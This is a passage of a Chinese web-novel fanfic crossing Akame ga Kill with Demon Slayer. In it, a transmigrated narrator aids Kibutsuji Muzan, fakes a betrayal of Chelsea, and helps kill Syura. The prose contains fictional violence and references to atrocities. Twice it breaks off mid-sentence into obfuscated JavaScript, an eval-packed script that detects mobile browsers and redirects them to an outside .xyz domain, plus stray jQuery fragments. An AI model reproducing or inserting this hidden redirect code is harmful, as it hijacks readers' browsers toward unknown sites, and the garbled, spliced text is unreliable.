布兰德在清剿冒充夜袭故意作乱的“三首士”时受了重伤,伤口本身不致命,但从伤口进入身体的神经毒素才是最危险的,迅速的毒发还是导致了他的牺牲。 昨天晚上系统没由来地弹出一条支线任务失败的消息,虽然没有提到是什么内容,但想来也是布兰德在《斩·赤红之瞳》中战死的那一段。 如果不是自身加入战斗形成影响,只靠预言提示果然还是难以改变原作剧情,之后的任务想做成功估计还得我自己出力加把劲。 我回想着后面的情节大概写了几条半白话的预言情节,让鸽子送了回去。之后应该是狩人的Dr.时尚在夜间突击夜袭据点的剧情,这一段倒是和平度过没有死伤,象征性地提醒主角团一下就行。 看着鸽子的影子逐渐消失,宅邸中的下人突然过来告诉我:月彦先生喊我过去。 鬼舞辻无惨这个时间应该在处理一些帝国那小皇帝送来的相关问题,与其说他这个职位的顾问,不如说更像老师,只不过他不喜欢待在那座宫殿里,所以算不上宫廷教师。 为了避免被怀疑,他一般没事就不会叫我,今天怎么突然喊我过去了?而且让下人来传话,应该也是演戏的一环,那就是有什么人来了需要我配合他露个面,不然他会自己来找我的。 我跟着下人一路走到会客室,在站在门外深呼吸找了点感觉,推开一道门缝探出头。 一袭银蓝色长发映入眼帘,几乎让我瞬间心跳提到嗓子眼,一口气差点没憋住。 这就不奇怪了,让无惨突然把我喊过来做一套戏的不速之客,也确实除了这位就没有第二种可能性了——艾斯德斯将军。 尽管我一直想回避与她的见面,但无惨在这里的身份也注定是会经常见一些剧情中最终boss级别的人,而注意到我的目光的艾斯德斯自然也投来一个打量的眼神。 还是不要和她对视了,不然真的容易被看穿。 我低下头从门缝钻进去快步走到无惨坐的沙发椅旁,屈膝跪在他腿边,小声喊了句“主人”。他不冷不热地扫了这边一眼,“嗯”了一声算是接收到了我的暗示。 “真没想到,你在驯化宠物这方面也挺擅长的,之前从没听说你留过这些弱者的性命。”我一直低着头回避艾斯德斯的视线,听得出来她对无惨大约是欣赏的,“不过很快就听话的宠物,我是不喜欢这种的。” “但听说艾斯德斯将军最近也找到了一个不错的宠物,那个叫塔兹米的少年,是吗?” 无惨已经听我讲过《斩·赤红之瞳》剧情了,自然也知道了塔兹米是作品男主。我悄悄瞥了一眼他的脸,想知道他是不是也想打听些狩人的情报,但他没看向我这里,只抬手按在我脑后让我头再低下去一点,示意我别乱看。 好嘛,我又不是不知道艾斯德斯很敏锐的啦…… 不看就是了!反正她也说了对太听话的没有兴趣,这样反倒是能放心她不会将我当作威胁的。 提到心上人时,冷酷如艾斯德斯,语气也软下来几分,颇有些骄傲地谈道:“塔兹米可不算宠物,我会将他培养成出色的、能够配得上我的男人的。” 唉,早年ACG作品很爱写的一种强大御姐心底却有一个小女人的情节。我偷偷想着这反派boss爱上正派男主的离谱设定,双手搭上无惨的腿边,将下巴垫在手背上。 “不过即便是塔兹米,如果沾染上不纯净的部分,我也必须处决他,月彦先生应该明白这个道理吧。”她突然话锋一转,言语矛头直指向了我,“我率军征战过无数地方,从未踏足、也从未听闻过有哪个国度生活着,‘精灵’这种族群。” 周遭空气的温度都连带着下降了几分,艾斯德斯身为帝国最恐怖的存在的那一面终于展现出来,话里话外都暗示着若是换做她会如何处理我这种来路不明的人,哪怕我用易容道具将耳朵做成了传统意义上精灵的尖耳朵模样。 身体下意识颤抖,也不知道是因为她的帝具带来的低温,还是我真的害怕被她发现真实身份后可能遭遇的拷问。 脑后的力度加大几分,我竟唐突从中感到一点安抚? 在鬼舞辻无惨这么做之后我也确实没有刚才那么难受了,尽管他的手掌也同样不带一丝温度,但微妙地让人有点安心……我只是在这种被恶意包围住的时候清晰地感受到一点:他在这里,我可以放心信任他。 “将军多虑了,只是个无足轻重的宠物,我自然是有分寸的,也有把握在她造成威胁之前处理掉她。”无惨说起送客的话,而对方显然也只是对他破例留下的一条活口感到诧异,才在空闲时来了一趟,从一开始就没有久留的意思,假意客套几句后便离开了。 会客室的门关上后过了一会,他松了手,跟我说我可以回去了。 我突然萌生出一个恶向胆边生的念头,拉着他的袖口,把他的手拉回来盖在自己头顶。我向他笑得贱兮兮说:“好喜欢摸摸头,再让我这样待一会嘛。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679150|173202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他盖在头顶的手抓住我的头发向后扯,将我从他腿上拽起来,我也在这个动作下被迫仰起头对上他有些愠怒的神情。 “会脱发的。” “那跟我有什么关系?” “你不是我最温柔的好主人了吗?” 我好像把自己恶心到了。 但我觉得他应该更恶心。 无惨确实有些说不出话的样子,咬着牙骂了句:“别得寸进尺,滚回你自己的房间。” “好好好我正常点行了吧。”我在他放手后重新坐下理理自己的头发,把早上收到的消息告诉了他,随后提起之后的计划,“这部作品的剧情差不多该过半了,革命军起义之后,艾斯德斯会带着狩人去追捕夜袭,在路上会有一场遭遇战。” 那段剧情不出意外也会有一个支线任务和一个隐藏任务,回避夜袭新成员切尔茜的死亡剧情,以及杀死狩人成员黑瞳,也就是赤瞳的妹妹。 想到这里我已经决定好这次只做支线任务差不多就能收手了,隐藏任务杀死黑瞳的难度还是太大,她所持的帝具八房能操控杀死的尸体为己所用,而且长期服药强化身体导致她除了心脏和头部以外没有其他弱点,这个任务的收益不成正比。 更何况那对姐妹的事情,也应该让她们自己去解决。 “夜袭转移据点的时候会通知我,到时候我们悄悄跟过去,正好来亲眼看看帝具使之间必定死人的战斗。”我起身走到方才艾斯德斯坐着的那张沙发椅前坐下。 当我告诉无惨狩人几名成员的帝具相关信息时,他果然对黑瞳的八房产生了兴趣。 不同于他将人转化成鬼的能力,八房可以把彻底死亡的生物也制成傀儡,协助使用者战斗,虽然算不上死者复生,但依然能最大程度发挥死者生前的战斗能力。 唉!如果他真的想把八房拿来看看的话,提前杀死黑瞳夺走帝具也并非不可行。 送来消息的不是白鸽,而是一只落在窗台上的小麻雀。 我将窗户开大后,麻雀跃进屋内,在烟雾中变回少女的模样,她就是夜袭的新成员切尔茜,使用着能易容成各种人或生物的帝具「变身自在·盖亚粉底」。 “你就是大家说的那个孩子啊,”她绕着我走了几圈前后看了又看,“没什么经验的样子嘛,不过居然能活到现在……哦,脖子上也太多伤了吧,你还真辛苦啊。” 确实是为了做戏做全套所以又让无惨吸了几次我的血,当然每一次也都会被他指点味道很难喝,我实在是不知道为什么会得到这种评价,但被人提起那些齿痕我,我还是有点尴尬地用手指抹了抹。 “别嘲笑我了,有话快说吧,被发现了我们都得死。”我也知道她话中的暗讽意味,作为熟练的暗杀老手,自然会觉得我这么久也没杀死目标实在不入流。 “好啦好啦,总之就是狩人对我们的追捕力度加大,而我们也是时候反击了。”她告诉我的计划和我在作品中读到的一样,不过亲身与作品中角色交流的好处就是能得到更具体的行动路线与预计遭遇战发生的地点。 她踩上窗台,在变形离开之前,回头看向我收起笑容说:“作为前辈,是应该提醒一下后辈,别真的对暗杀目标产生感情吧,就算他可能对你还不错,但那种人才不会有什么真心吧。” 麻雀从窗台上飞走,我站在窗前寻思着她的话。 从这间卧室是能看出来我在这里的日子过得还不懂,这一点确实容易被他人怀疑,但同样也是因为我和无惨都对这个人类恶行无下限的作品世界尚且缺了点想象力,之前聊起来时,他也表示过在这里见到了更多精彩的事。 所以切尔茜以为我真的喜欢上暗杀目标了?虽然她也没感觉错因为我确实喜欢无惨……不不不,那还是有区别的!喜欢鬼舞辻无惨是他即便不给我不错的待遇我也会喜欢的那种,不对跑偏了,总之她大概把我当作了心思单纯被欺骗的新人杀手,但也是因为我和无惨的关系对所有人都是秘密…… 算了,我在他人眼中的形象是恋爱脑又如何呢…… 本着维持人设的目的,在切尔茜离开前我还是象征性地对她提醒了一句小心黑瞳。 很难说《斩·赤红之瞳》的世界观到底是哪种类型,这里的服装风格太多样了,我只选了一套和黑瞳差不多的黑三本水手服,心说这样的还是比洋裙更方便行动,走出了房间。 我为这次外出编过理由,如果被狩人发现,就说是自己和皇帝顾问一起外出追踪夜袭,而另一边的主角团这里,我告诉切尔茜的版本是“顾问会随狩人一同行动辅助他们清剿反贼”。 这就是语言的艺术。 所以为了在遇到任何一边时都能圆谎,我又一次买了易容道具把耳朵变成尖耳。这小玩意一次性能维持24小时,到现在是用的第三次,10积分换一次倒也划算。 我一开始也想过是否该厚着脸皮挂在无惨身上,让他拎着我跑去追上狩人和夜袭,但他一开始没这个意思,而我跟着他跑了一段之后,有些离奇地发现自己好像能跟上他的速度。 他不像是会在这方面迁就别人。但我的双腿确实能跟上他,也并没有感到特别的疲惫。 来不及想那么多了,因为来到遭遇战的峡谷上方时,峡谷中传出过于耀眼的强光。 我知道这段,喷射火焰的帝具枪管受损,情急之下波鲁斯将装满燃料的帝具抛向空中按下手中遥控的按钮。 他的帝具「炼狱招来·路比冈德」爆炸了。 19. 第 19 章 夜袭和狩人交战的地点选在一座峡谷中,两侧高耸的山崖限制了战场的横向拓展,好一个狭路相逢勇者胜。 说起来,我好像……真的是一路跟着鬼舞辻无惨跑过来的吗? 沿着狩人成员骑马留下的痕迹,我们追到战场两边的崖壁上,无惨回头看了我一眼,稍稍有些惊讶。我这才想起来自己下意识也跟着他跑了,而停下来后甚至只是呼吸比他急促了一些。 “你……”他向我走近几步蹙眉盯住我,“最近一直都有些奇怪,但你还是人类,这一点没有变……到底是怎么回事?” 我无法回答他。 似乎是从对战赛琉的那次开始的,或者可能更早一些,我的体能、反应,以及各方面身体素质都比原先要强上了一些。我一直以为是通关过程中附赠的强化效果,不过想来系统不会善良到免费赠送强化数值,我自己更是没有身体得到强化的意识。 就像是潜移默化地得到了提升,身上也没有出现一些作品中突然得到强化导致的不适症状,硬要说的话,可能只是最近偶尔会觉得天气很热。但这也是很正常的吧,这部作品的世界没有现代制冷家电,正值夏天,就是会觉得热的。 上次无惨说我体温有些高来着,但我自己也没有发烧的体感…… 左肩传来隐隐的痛感,我用右手搭上肩膀揉了揉,又转动左臂活动一下,疼痛的感觉消失了,尽管还有些说不上来的怪异。 但这个话题没办法继续深入了,因为波鲁斯引爆了自己的帝具,火光冲天,将峡谷下的大片土地烧成焦黑。 《斩·赤红之瞳》中有一条默认守则:帝具使交战的情况下必然会有一方死亡。 像这样两边都是帝具使的团战,战况会激烈上几倍,帝具战的破坏力也不是普通士兵打仗比得上的。 波鲁斯的帝具能不断喷出炽热的火焰,即便如此,雷欧奈经过「狮子王」强化的牙齿更胜一筹,找准机会一口咬断了喷火管,使他的帝具直接报废。而波鲁斯也毕竟是狩人组织的成员,有针对战场情况随机应变的能力,他当即取下背上的燃料桶,高高抛向口中,又按下手中的按钮。 这段剧情我早就知道,也早早开始准备钙质化的防御壁垒,加固加厚的钙质防护抵挡了大部分爆炸的威力,等刺目的光芒暗下去后,我重新睁开眼,看了看防护壁垒外部的灼烧痕迹。 峡谷下大片地面被夷为平地,除了举起盾牌挡住爆炸伤害的雷欧奈和赤瞳身后,其他地方都被烧成焦黑,波鲁斯自然是不见了踪影。 帝具使自己的帝具大部分时候还是不会杀死主人的,波鲁斯也只是借着爆炸撤离了战场,但我还需要确定方向。 我从峡谷上探出头,一边问鬼舞辻无惨:“你有看见波鲁斯——那个拿喷火器的男人,他刚才往哪个方向走了?” 无惨的视力比我好得多,即使是爆炸产生的强光也没有影响到他,他左右看了看,给我指了个方向。 按照约好的那样,我披上斗篷向后方的树林中跑去。他没心思参与主角一方的行动,更不会主动去帮助他们化解队友的死亡情节,所以这方面的支线任务都由我自己完成。 这几天来我一直在思考遇上切尔茜后该怎样和她解释,关于黑瞳我倒是能直接告诉她让她不要和黑瞳正面接触,但如果她问起来我为什么会出现在这里,那就麻烦了。 思来想去最省事的方法是…… 我躲在树后看着切尔茜伪装成小女孩骗取了波鲁斯的信任,再趁其不备用银针刺入他后脖的致命处杀死了他。在那之后,她以“让黑瞳离开的话她会重新集齐八具人偶再回来”为由,表示自己去追击黑瞳,当然她没有说出来的是,她也不希望让赤瞳面对不得不杀死妹妹的境地,所以才逞强去做了这件冒险的举动。 切尔茜使用帝具变成了波鲁斯的样子,准备去找黑瞳,我确认拉伯远离此处后,从树林中穿越出去,抽出一把短刀刺向变形后的切尔茜。 最省事的方法就是有敌人截断她的行动,让她不得不撤退。 这个敌人也就是我了。 被唐突的攻击扰乱了节奏,切尔茜的伪装也无法再维持,迅速后撤露出了自己的本貌。 “白夜?”我的攻击动作让斗篷被风掀起,她看见我的脸后露出惊讶的神情,“你为什么会在这里?” 我反手握住短刀挥刀向她,嘴上没有放松:“既然我都来杀你了,切尔茜,还不明白我为什么会在这吗?” “你……背叛了……” 切尔茜不愧是职业杀手,迅速冷静了下来,但她还是没有马上撤退,继续向我问道:“为什么……我之前说过,不要对那样的任务目标产生感情,难道你还是……” “对,我喜欢上他了。”我爽快地向她承认,这句话可是真话,不会让切尔茜看出半分虚假,毕竟她可是职业杀手,说谎被识破的话,整个计划就报废了。 “真是太天真了!”她皱眉斥责道,“你是被他骗了吧,还是被他威胁了什么?你真的以为背叛大家,帮他做事,就能得到回报吗?” 双拳覆盖上珐琅质的钙物质层,切尔茜不擅长战斗,所以哪怕我只是用短刀和强化过的拳头毫无章法地攻击她,她也无法反制,只能靠灵敏的身手不断躲避。 当然这也是我确信自己不会伤到她的自信来源,表面上看是她在躲避我的攻击,实际上我也根本没有威胁她生命的能力。 “说什么呢,因为他说只要帮他做事,他可以不要求我透露同伴的信息,所以我觉得他人很好啊。” 这句话也是真话,只不过换了种说法,无惨只是从一开始就对他们的信息不感兴趣而已。 短刀划破切尔茜的脸颊,我愣了一下,收了些力气出拳打在她腹部让她后退好几步。我看着狼狈喘气的切尔茜,计算着夜袭的支援赶到的时间,说:“而且喜欢他是不需要回报的呀,被当作棋子也会心甘情愿,这就是他教给我的事情。看来切尔茜还是不明白什么是‘喜欢’呢。” 我要演不动了。 这些动漫作品里的角色究竟是怎样投入全部感情大声念出那些台词的呢?我自己这样做的时候只觉得微妙的尴尬,虽然类似的话其实对正主、也就是鬼舞辻无惨,对他都说过,但跟别人说又是另一种感觉了。 祈祷着希望再也不要有下次演这种病娇恶堕人设了,我收起短刀双拳触地,银白色的钙物质蔓延向切尔茜,她在钙质化的范围内被迫减速。 “切尔茜已经杀死波鲁斯了对吧,虽然他挺可怜的,不过帝具损坏,本来就没法再战斗了,辛苦你帮我们清理垃圾了哦。”我看着整个人不由自主慢下动作来后一脸惊慌的切尔茜,轻轻微笑着说下去,“然后你想去杀黑瞳?但是黑瞳还是我们重要的战斗力,所以你的工作到这边就可以结束啦,主人可是说过要将你的头挂在城中广场以示警戒呢。” 当然无惨也没这么说过,我告诉这姑娘的只是原作里她的结局。 最终切尔茜砸下烟雾弹,用帝具化为一只小兽钻入树丛中,很快就没了踪影。我本着做戏做全套的原则追了两步,随意地在林中找了找,当然也是找不到她的去向的。 【完成支线任务,获得积分奖励30分。】 【目前已有积分280分。】 系统提示在切尔茜完全离开后亮起,她会把我“背叛了夜袭”的消息带回去,所以我也不能在此久留,之后赤瞳和塔兹米追过来的话,我可对付不了两个战斗人员。 我从切尔茜来的地方找到了波鲁斯的尸体,意思意思把尸体搬了回去给自己在狩人这边做了一波信任牌。虽然鬼舞辻无惨有点想研究一下这名帝具使是怎么凭人类肉身抗住那么猛烈的爆炸伤害的,但不能如他所愿了,他看着我把尸体交给艾斯德斯的时候脸色不太好。 后者沉重地将手下的尸体放在一旁,随后看了我一眼。我能从她的眼神中看出些怀疑,但这种时候她或许是不打算追究,毕竟无惨的身份在帝国势力这边还是坐好,只要我没有过于可疑的举动,她就不会越过无惨来针对我。 接下来所有人都过了一段相对太平的时间,但表面的平稳之下暗流涌动,如果没算错的话,娜洁希坦的革命军马上要集结完成了,刺杀帝国教团的教祖辅佐伯利克,就算触到帝国高层的核心了,之后就是整部作品的最终决战。 原本该在这里死斗并下线的赛琉被我提前当隐藏任务击杀了,夜袭刺杀伯利克理应会比原作更顺利,这里没什么角色死亡情节,需要注意的是之后的奥内斯特大臣之子席拉。 “你说的那个教团——叫什么安宁道来着,算了,无所谓——那个人确实被刺杀了。” 前些时候我把这边的情节告诉了鬼舞辻无惨,以没给他留他想研究的那个人类尸体为由、名为自我禁闭实则摆烂,让他等伯利克遇刺的消息传过来了再叫我,然后理所当然地钻进房间里没怎么出去。而他也如约来找我,只不过带来了一个有些意外地消息。 “这个东西,见过?”他走进房间丢给我什么东西,我接住后发现是一块红色的硬块,好像是哪里的碎片,他接着说,“你可没说过还有人形的生物帝具,我本来还有些兴趣的,可惜听说核心碎掉的生物帝具没办法再复原了。” 我捧着那块碎片愣愣地回忆着剧情。 无惨说是艾斯德斯那边送来的,虽然狩人保护伯利克的任务失败了,但收缴一件帝具倒也不算无功而返。 我调侃了他一句:“你和她好像还挺合得来的,真的不再考虑考虑把她变成鬼吗?” “她在精神上几乎完全摆脱了人性的弱点,确实有机会变成很强的鬼,不过我现在对制造强大的手下没有兴趣。”他像是对这个话题感到厌倦一般,“而且是你说的,她的那件帝具会让我很难控制她,太麻烦了。” 言归正传,我将碎片放在书桌上,收起调笑的神情看向他。 情况比预料中要棘手一点,这是我的问题,看见这块帝具碎片我才意识到自己的先入为主导致自己对剧情有了错误的预估、或者说是描述,现在必须重新规划之后的安排。 “没记错的话这件帝具叫「须佐之男」,跟你知道的那个须佐之男差不多,既然他在这里被毁坏……”我顿住,问无惨有没有纸笔。 “我会叫人拿来,但你要那些做什么?” 我没有马上回答他,慢慢回想着作品剧情。 《斩·赤红之瞳》的动画版与漫画版情节在后期有较大分歧,由于动画很早追上了漫画进度,所以自行原创了结局,以有些虎头蛇尾的方式结束了这个故事。但同样由于动画版的知名度比漫画版更高一些,所以我告诉无惨的也是自己对动画的记忆。 分歧的开始就是刺杀伯利克的行动,帝具「须佐之男」在这里被艾斯德斯破坏,那无疑就是剧情更复杂,也是难度更高的漫画原作情节了。 有些头大……这样一来要面对的敌方人物还会多几个,事已至此先把我还记得的东西写下来吧。 “给我两天时间,我整理一下剧情。” 我告诉他自己之前记错了很多东西。 大臣之子席拉成立的秘密警察部队狂野猎犬也是个顶个的难缠,而席拉本人更是连艾斯德斯都不放在眼里,希望他别来无惨这里挑衅。 不过那样的话倒是能直接杀掉他…… 什么啊,在《斩·赤红之瞳》这种类型作品世界里待久了之后,我自己的道德感都降低了吗,真叫人说不上来好坏。 说实话我对漫画一些情节的记忆也有点模糊了,只能尽力将需要注意的内容写下来,包括狂野猎犬几人的信息。 把这些直接给无惨,他会知道什么时候从帝国抽身最好。 “我整理好剧……诶?”我出去找他的时候,撞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679151|173202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见了我没打算在这个时候与之见面的人。 皮肤黝黑、脸上带着交叉刀疤的银发青年将脚翘在茶桌上,散漫地坐在沙发椅中,见我突然闯进来,他放下腿站起身向我走来。 “喂喂,月彦顾问啊,你也太惯着自家的奴隶了吧,可以让它们随意进房间吗?我可是大臣的儿子啊,真是不把我放在眼里!” 奥内斯特大臣之子席拉,站到我面前,挥拳就向我砸来。席拉的身手极好,擅长各类武艺,我的视觉只能捕捉到拳头的影子,身体根本来不及躲开,在他面前自然也是不能用源石技艺防御的。 被这一拳砸到倒是不至于当场死亡,这家伙可是不会放过任何一个玩弄他人的机会的性子,不过有无惨在场他也不会做太过分的事情,稍后再给自己治疗好了。 只是眨眼的功夫,刚才还站在窗边的鬼舞辻无惨赫然来到我与席拉之间,抬手拦下了他的拳头,语气轻松:“我个人比较喜欢饲养宠物罢了,稍微娇纵了一点,不过这确实是方才提到的要赠与阁下的礼品,若是愿意的话,要麻烦你多管教她了。” …… 啊? 等等,我不在场的时候他们都说了什么? “哼,你那个宠物不是所谓的精灵吗?这女人好像也没什么特别的啊。”席拉见无惨随意就挡住了他的一拳,吃瘪地收回手,态度也收敛了几分。 鬼舞辻无惨淡淡地瞥了我一眼,眉头微蹙。 我立马心领神会地抬手盖在耳边,抬眼看向他做出委屈的表情说:“是主人吩咐的,不要把耳朵给别人看见……”随后偷偷在心里喊了系统,迅速买了一个易容道具给自己的耳朵又变成了尖耳的形状。 “从今天开始席拉阁下就是你的主人了,他是大臣的儿子,要懂规矩。” 说起来我确实跟无惨提过杀死席拉可能也是隐藏任务这回事,毕竟这位无论在作品的哪个版本都会领盒饭的家伙。 所以无惨是这么打算的吗,让我去杀席拉。 虽然不太清楚夜袭那边的计划进展如何了,但提前杀死席拉就能避免之后塔兹米和拉伯克被俘的剧情,那么拉伯克的死亡结局也能避开。 我正打算拨开耳边的头发露出完成变形的耳朵给席拉看,他却等不及般打开我的手,生硬地捏住耳尖部分向外扯了扯。 神经病……不愧是作品作者用极具张力的作画表现畜生行为的一个角色,真是做什么都毫不意外。 话说回来我杀席拉,真的是能做到的吗? 先不谈席拉本就强到离谱的肉搏能力,他的帝具「次元方阵·香格里拉」是空间系的能力,能传送到任何标记过的地方,给他机会发动帝具的话,我这边无论是进攻还是防守都会很困难。 需要瞬间爆发的技能,至少得让他失去行动能力。锏的【归于宁静】会比较好吗,但这招要发挥最大威力还是得有两把刀剑类武器,空手或者只靠随身携带的短刀的话,似乎法术技能会是更好的选择。 席拉松开了扯住我耳朵的手,我对鬼舞辻无惨轻轻鞠躬:“您之前让我整理的文书已经完成了,随时可以过目,那么,感谢您这段时间的照顾。” 虽然不知道他具体怎么计划的,让我杀完席拉之后又该怎么做,但他应该不会不管我的吧……应该不会吧! 计划赶不上变化,我今天算是深刻认识了这一点。 我还在思考怎么对付席拉最稳妥,他似乎是不急着回宫殿,说先去个地方。 还是不要问了,这种暴脾气的家伙话多了就是给自己找事,先看看他要去做什么,如果时机好的话,应该可以马上就完成隐藏任务了。 在商店里花积分买了技能石,我已经想好最合适的一招了。 “听说你跟那个顾问和艾斯德斯的狩人部队出去和夜袭交战过,真搞不懂那个男人,玩具就该一次性玩到坏然后扔掉啊,还留着带去战场。”我一只耳朵进一只耳朵出地听着席拉的大放厥词,跟在他身后走到宫殿中央的庭院处,而他将帝具「香格里拉」扣在地上,一面八卦阵迅速展开。 他把我推出八卦阵的范围:“别碍事,如果破坏了我席拉大爷的计划,今天就让你生不如死。” 嗯?我好像记得这段剧情,难道是—— 我在八卦阵的传送发动的瞬间向前跃出踩进阵内,短暂的眩晕过后,等刺目的光过去后,席拉带着我从空中的传送阵跃出,他在空中迅速调整姿势,落地的时候已经将帝具又一次扣在了地面。 落地的位置附近有两个人,没认错的话是变装的塔兹米和穿女装打探消息的拉伯克,那么我的记忆没有错,这段剧情是席拉将两人带去宫殿并俘虏的地方。 宫殿里有早就埋伏好的狂野猎犬成员,还有全作战力顶点的艾斯德斯和布德大将军两人,真去到宫殿里的话积分用光了都打不赢,所以必须在这里杀死席拉。 席拉似乎不知道我跟着他过来了,我在脚底覆上坚硬的钙质,瞄准他的位置迅速下落,踩在他的右肩上。这对他造成不了太大伤害,但是打断帝具发动足够了。 我在被他恼怒地抓住脚踝之前跳开了,迎面看向他震惊又狠戾的目光。 “你这蠢女人在做什么!” “大概是,来杀我们了不起的大臣的儿子、席拉大人啊。” 这回有足够反应时间的塔兹米和拉伯克也意识到自己可能中了敌人的陷阱,迅速调整进入战斗状态,各自装备好了帝具。 我没理会两人看向我时也带着警惕的眼神,拿起技能石,热量传遍手心,随着我选定的技能成型,金色的音符编织成乐谱,环绕在我身边,同样金色的法术能量聚集在我手中。一颗、两颗……手中聚起五颗法术能量。 “阿瓦达索命,唉逗你的,不过也差不多,你就当作是精灵的魔法吧。” 五颗法术能量交织旋转着,一齐飞向了席拉。 20. 第 20 章 “如四三拍一般轻盈。” 五颗法术能量的小球一齐飞出砸在席拉身上,发动到一半的帝具「香格里拉」瞬间脱手,在地上滚了几圈后没了动静,席拉身上被法术直接打中的地方皮肉焦黑,他本人也吐出一口鲜血。 “你这女人,那个家伙是故意派你来……” “还没完呢。如增四度一般错愕。” 论爆发的法术伤害,大概没有人能比得过秘术师了,所以最好的就是黑键的【寂静之声】。 重头戏当然是将积攒的法术能量全部发射出去的第一次攻击,但这个技能本身也有30秒的持续时间,法术攻击可以在这半分钟内维持高额输出。 “如单簧管一般呜咽。”黑键的作战语音像泉水流淌,自然地出现在脑海中,也自然地从我口中说出,法术能量不断砸在席拉身上,击出更多烧痕,应该也给他留下了不小的内伤。 塔兹米和拉伯克似乎还在警惕突然会使用如此强力的法术攻击的我,也因为之前我对切尔茜的攻击行为,并没有加入战局。30秒的时间转瞬即逝,握在手中当作施术媒介的技能石已经消失不见,而席拉顽强的生命让他没有那么容易就死去。 还是需要补上致命的攻击啊,原作里是拉伯克用自己帝具的丝线扭断他脖子的,反正他和塔兹米近期所有的调查也都是为了剿灭席拉率领的狂野猎犬组织,干脆就在这里顺水推舟让他收了席拉的人头。 “塔兹米,拉伯克,你们站着不动干什么呢,这家伙可还没死啊。”还是稍微维持一下那个精神扭曲的恋爱脑人设吧,尽管我突然攻击席拉在他们眼中也有些难以理解,不过目标是一样的就行了。 差点忘记了,夜袭和狩人还有过一次以狂野猎犬为目标的、称得上合作的行动,毕竟两个组织都无法忍受在帝都内到处施暴作恶的后者。 我在席拉起身之前几步上前,用硬质钙强化了脚部后发狠地踢向他的下身,比起杀死赛琉那次,必须承认现在带了几分私人情感。 如果说赛琉只是一个从小在错误的环境成长导致心中有着扭曲的正义理念,那席拉就是个彻头彻尾的混账。毕竟作品中连狩人都看不下去狂野猎犬在帝都内的暴行,为首的席拉更是个肆意杀人、□□妇女的无耻之徒,与他父亲奥内斯特大臣简直是一个胚子出来的。 说起来之前我还犹豫过是否要阻止切尔茜杀死波鲁斯,从作品背景来看他的罪行确实也无可饶恕,但他死后留下的遗孀与女儿在之后前往墓园悼念他的时候,被获取消息的席拉带着自己的部下,当作享乐的一环残忍凌虐至死,即便漫画没有画出具体情节,也还是想想就令人作呕的程度。当然就事论事,波鲁斯的死亡我没有阻拦,本想之后记着点去墓园阻止一下惨案的发生,顺便赚点可能有的隐藏奖励积分,只是剧情进度比我想象的要快,我没有赶上。 无论是我没赚到的积分还是彻底触及人性底线的暴行,我当然都想在这家伙身上出口恶气的,毕竟他之前看着我的眼神也是无法忽视的恶心。 我也不是没想过直接尝试用技能石换个临时的真正的阿瓦达索命,一击毙命固然保险,但让这种人死得太痛快也总归令人遗憾。 拉伯克勒断席拉的脖子的时候,系统只给出了一条支线任务,却没有赛琉那时的隐藏任务。 我发了会呆问系统为什么不给隐藏分,回答是最终杀死席拉的仍是与原作剧情一致的那个人,也就是拉伯克自己,所以隐藏任务实际上并没有完成。 “玩文字游戏啊……”我小声自言自语着,一边暗骂任务要求逆天,一边盘算起之后还能完成的任务。艾斯德斯我是不要想了,布德将军倒是可以考虑一下,他会死于玛茵的枪械帝具「浪漫炮台·南瓜」,或许我能做点什么收个人头。 思索的时候塔兹米解除了帝具的变身形态,但还是举着剑和拉伯克一起警戒着我的行动,我张口顿了顿,一时间三人对视沉默住了。 末了我说:“我可是帮你们解除了大危机,他的帝具会把所有人传送到宫殿里,到时候你们都插翅难飞,听了这些就没有一点表示吗?” 塔兹米轻声喊了一下我的名字,犹豫着问道:“你究竟,站在哪一边?” “啊,这么问啊,不知道呢。”我走到一边捡起落在地上的「香格里拉」,“切尔茜怎么和大家说的?是不是说,我喜欢上了那个皇帝顾问月彦,并且非常——死心塌地?” 我得到了沉默的注视,想来应该也差不多。 “别太紧张啊,我也不是帝国这边的啦,因为主人,啊,也就是月彦大人,因为他也有自己的计划,不过这个就不能告诉你们了。” “他想得到什么?” “说了不能告诉你们的嘛,当然好心帮你们排除王位吧,月彦大人对权力没兴趣。” 其实都是唬他们的,因为不管这个帝国的任何东西,鬼舞辻无惨都没有兴趣,他只对偶然的几件帝具夸赞过,但更是说过若要借助道具才能获得力量的话,那这个世界就也不过如此。 不过我确实想到了一些能提醒他们的事。 即便只是一部简单的漫画作品,但既然主角团的主线是反抗腐朽的帝国,也组建出来革命军这种队伍了,那就和历史上发生过的许多事件类似了。漫画作者好像没有给出娜洁希坦后日如何管理新政权,但我想说的也只是从现实的人类历史中找到的一些建议。 “能提醒你们的就是要保护好革命军的果实啊,万一被人坐收渔翁之利的话,就不好了。”言尽于此,我将「香格里拉」朝向他俩,直接开始讲述自己的后续计划,“言归正传,我帮了你们,你们欠我一个人情,现在就还吧。塔兹米,和我回宫殿,去蹲两天大牢。” “哈?” “喂我说,你不要太得寸进尺,就算是可爱的女孩子……”拉伯克看了一眼同样疑惑的塔兹米,问我是否是那个艾斯德斯的要求。 我说不是,只是需要制造一个机会。 “抓一名夜袭的成员去帝都公开处刑,到时候指名让布德大将军到场,我打算在那个时候杀掉他。怎么样,考虑一下?” 正因为塔兹米是艾斯德斯喜欢的人,所以处刑前会因她的偏袒而得到部分优待,能避免遭到严酷拷问受伤中毒,塔兹米是最优人选。 